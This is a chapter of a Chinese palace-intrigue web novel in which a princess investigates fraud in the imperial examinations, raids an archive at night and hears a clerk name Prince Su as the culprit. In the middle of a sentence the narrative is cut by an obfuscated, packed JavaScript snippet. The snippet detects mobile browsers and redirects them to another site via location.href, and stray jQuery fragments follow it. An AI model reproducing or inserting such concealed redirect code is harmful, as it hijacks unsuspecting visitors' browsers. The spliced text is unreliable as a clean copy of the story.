沈瑾瑜眼眸微敛,翻出一份名册,上头详细记录着五年前所有殿试考生的姓名、籍贯及成绩排名。沈瑾瑜顺着名册逐行查看,神色愈发凝重。突然,指尖停在了一处异常的记录上——
王念安,原定名次为二甲第二十名,但在最终录取名单上,此名被划去,换成了另一人。
沈瑾瑜目光一冷,脑海中闪过诸多疑问。
王念安名次这么靠前,最终却没有被录取,是否因为他的试卷也被调换过?若是,他当夜暴毙,是否因发现了试卷被人篡改?
她闭目沉思片刻,理清思绪,随即提笔写下一封手令:
“派人彻查五年前殿试二甲中后段的所有考生,重点关注家世、仕途及科考成绩的变化。”
如若只是这小部分人出了问题,那便还好说。倘若整个科举都被这些达官贵人控制,顺我者官运亨通,逆我者死不瞑目,那大梁的气运怕也就到此为止了。
放下毛笔,沈瑾瑜低声自语:
“许怀正,你遮得住五年,却遮不住一辈子。”
说罢,她凝视着窗外的夜色,心中已然下定决心,定要揭开这科举弊案背后的真相。
只是,万一此次事件涉及人数众多,牵一发而动全身,父王还会严惩所有涉事人员吗……
想到这些,沈瑾瑜不由得摇了摇头。眼下还未摸到真相,她现在思考这些似乎有点太早了。
若是父王不好下手,日后她亲自收拾也不是问题。
次日清晨,阳光透过雕花窗棂,洒进东宫议事厅。侯远脚步匆匆,赶来向沈瑾瑜复命。
“殿下,属下派人查到,王念安暴毙的客栈已被废弃多年,但仍有人定期前往清理。昨夜,属下特意探查,发现客栈墙壁夹层中藏有一页残破的书信。”
说罢,他双手将书信递上。沈瑾瑜接过,将其缓缓展开。
纸张早已泛黄,带着岁月的痕迹,上头的字迹却依旧清晰:
“吾遭冤屈,试卷被人暗换,殿试录取名单亦被篡改。若我命殒,请知情者以此信为证,还天下士子公道。”
信的末尾,只写了一个“王”字。
沈瑾瑜目光微寒,沉声道:“这封信,应是王念安死前写下的。”
“如此看来,当年的殿试不仅是徇私舞弊,而是彻头彻尾的权谋交易。”侯远神色冷峻,分析道,“殿试录取名单被篡改,意味着有人故意让某些人入仕,而将真正有才学之人剔除。”
沈瑾瑜深吸一口气,缓缓道:“从目前掌握的情况来看,此案极可能牵涉到礼部、吏部甚至更高层。许怀正必然是其中一环,但他未必是主谋。”
侯远皱眉,眼中满是疑惑:“若非许怀正一人所为,那他背后之人究竟是谁?”
“朝堂上的那些老家伙们都有可能,”沈瑾瑜合上书信,指尖轻叩桌面,语气冷冽,“这也正是咱们这些时日要查明的。”
夜色沉沉,细雨飘落,京城的街道在灯火的映照下泛着湿润的光泽。考功司大门紧闭,朱漆门扉下积水未干,衙役巡逻的脚步声偶尔响起,在夜风中显得格外清晰。
沈瑾瑜披着藏青色的斗篷,立于暗巷一角,望着考功司沉思。
今日在殿上的试探虽未引出真正幕后之人,但那些微妙的神情变幻已然说明问题。刑部尚书谢衡的态度极为谨慎,而主事李阁的神色更是透着一丝不安。
她隐隐觉得,科举舞弊案远不止有人收受贿赂那么简单,很可能牵扯到朝中更深的利益纠葛。
她看向身旁的侯远,侯远一身黑色夜行衣,神色沉稳,目光如鹰隼般盯着考功司内的动静。他低声道:
“主事李阁虽然今日表现得镇定,但他回去后定然会有所动作。若科举案中确有隐秘,他不会放心将一切卷宗留在衙门。”
沈瑾瑜微微颔首,十分认同。
“所以今晚便是最好的时机。”
二人对视一眼,身影迅速隐入夜色。
考功司的书库位于后院,存放着科举相关的所有卷宗、试卷以及历年的考生记录。沈瑾瑜和侯远借着夜色,从侧墙悄然翻入,一路避开巡逻衙役,悄无声息地潜入书库外的廊下。
夜风穿堂而过,书库的大门虚掩着,隐隐透出微弱的烛光。
侯远做了个手势,示意沈瑾瑜稍作等待,而他则贴着门侧缓缓靠近,目光警惕地扫视四周。他抽出短刃,轻轻推开门扉,烛火微晃,映出书架间一道鬼祟的人影。
那人正蹲在书案旁,手忙脚乱地翻找着什么,堆积的卷宗散落一地,书页翻飞,纸张与桌案碰撞的声音在寂静的书库中格外刺耳。
沈瑾瑜目光一凝,声音缓慢而又不容置疑:“你是李阁。”
侯远动作极快,身影一掠,已然逼近那人身后,短刃抵在他的颈侧。李阁猛然一僵,手中的卷宗掉落在地,冷汗瞬间涔涔而下。
“李主事,这么晚了,为何要在书库翻找卷宗?”沈瑾瑜缓步走入,声音平静,目光却锐利如刃。
李阁脸色惨白,喉结滚动,艰难地挤出一句:“殿下……这书库,我……我是奉命来取卷宗的……”
沈瑾瑜眉头微挑,“奉谁的命?”
“是……是刑部尚书大人。”李阁的声音发颤,眼神闪烁。
侯远冷笑一声,手中的短刃略微逼近,李阁不禁倒吸一口凉气,额头冷汗滑落。
“殿下,我说的是真话!尚书大人嘱咐我将三年前的会试试卷整理出来,他要亲自过目……”
“亲自过目?”沈瑾瑜不动声色地看着他,缓缓道,“三年前的试卷,为何要在这个节骨眼上查看?还是说,谢衡大人知道其中有什么不对?”
李阁唇色发白,嘴唇颤了颤,却不敢再开口。
沈瑾瑜走近一步,缓缓俯身拾起地上散落的几份卷宗,目光扫过上面的内容,眉头微微一皱——这些卷宗全是三年前科举的考生试卷,按理来说,这些试卷早该归入大理寺存档,考功司不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298611|165550||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应再留存。
她翻开其中一张,目光扫过试卷上的字迹,忽然一顿。
这字迹……似曾相识。
她心念一转,迅速回想近几日翻阅的各类奏折,某个名字从脑海中浮现——刑部侍郎张文礼。
他的笔迹,与这张试卷上的字迹极为相似!
沈瑾瑜眼神骤冷,将试卷收起,抬眸望向李阁:“看来,谢衡尚书想看的,并不是所有试卷,而是某些特定人的试卷。”
李阁脸色越发苍白,嘴唇嗫嚅,似乎想要辩解,但最终只是低下头,不再言语。
沈瑾瑜目光如炬,直直地盯着李阁,缓缓道:“李主事,这件事牵涉甚广,你若执意隐瞒,恐怕会招致杀身之祸。倒不如与本宫合作,至少还能保你一条命。”
李阁身子微微颤抖,脸色一阵白一阵红,似是内心挣扎良久。终于,他一咬牙,扑通一声跪下,低声哀求:“殿下,求您救我……这科举案,的确……的确有蹊跷!”
沈瑾瑜目光一沉,上前一步:“具体说说。”
李阁深吸一口气,努力让自己镇定下来,压低声音道:“三年前的会试,的确有人暗中动了手脚。前十名进士的试卷,至少有三份是被人替换过的……”
沈瑾瑜眸色一冷,寒声问道:“是谁指使?”
李阁的脸色骤然发青,眼神中满是恐惧,似乎被这问题吓到。他吞咽了一下口水,半晌后,颤抖着吐出一个名字——
“肃王。”
沈瑾瑜心中微震,神色却不露分毫。
她缓缓站直身子,动作沉稳地收起手中的试卷,沉声道:“此事暂且到此为止。李主事,你今晚就当什么都未发生。明日照常去刑部覆命,切记,不可走漏半点风声。”
李阁急忙点头,额头上豆大的冷汗滚落,已然湿透衣襟。
沈瑾瑜不再多言,向李阁挥了挥手,带着侯远迅速离开书库。夜色深沉,两人的身影很快消失在黑暗之中。
回到太子府后,沈瑾瑜径直来到书房。她在书桌前坐下,摊开那几张试卷,目光紧锁,仔细端详。
肃王……如果李阁所言属实,那么肃王早在三年前便已插手科举,扶持亲信入仕。而张文礼的试卷被刻意留存,是否说明他当年正是被安排进入仕途的一员?
沈瑾瑜越想越觉得事态严重。若肃王早已在朝堂布下人手,那么如今的朝局,远比她预想的更复杂。
几年前她第一次上朝时,之前的太子党近乎半数都投靠肃王。若是朝堂之上肃王的党羽有如此之多,那父王这么多年来为何又一直睁一只眼闭一只眼?
她闭上眼,手指无意识地敲击着桌案,心中的思绪翻涌不止。
突然,桌案上的烛火微微一晃,映出一抹模糊的影子。
她猛然睁眼,目光瞬间凌厉,厉声喝道:“什么人?”
窗外无声无息,一片寂静。然而,一道极淡的黑影已然消失在夜幕之中,仿佛从未出现过。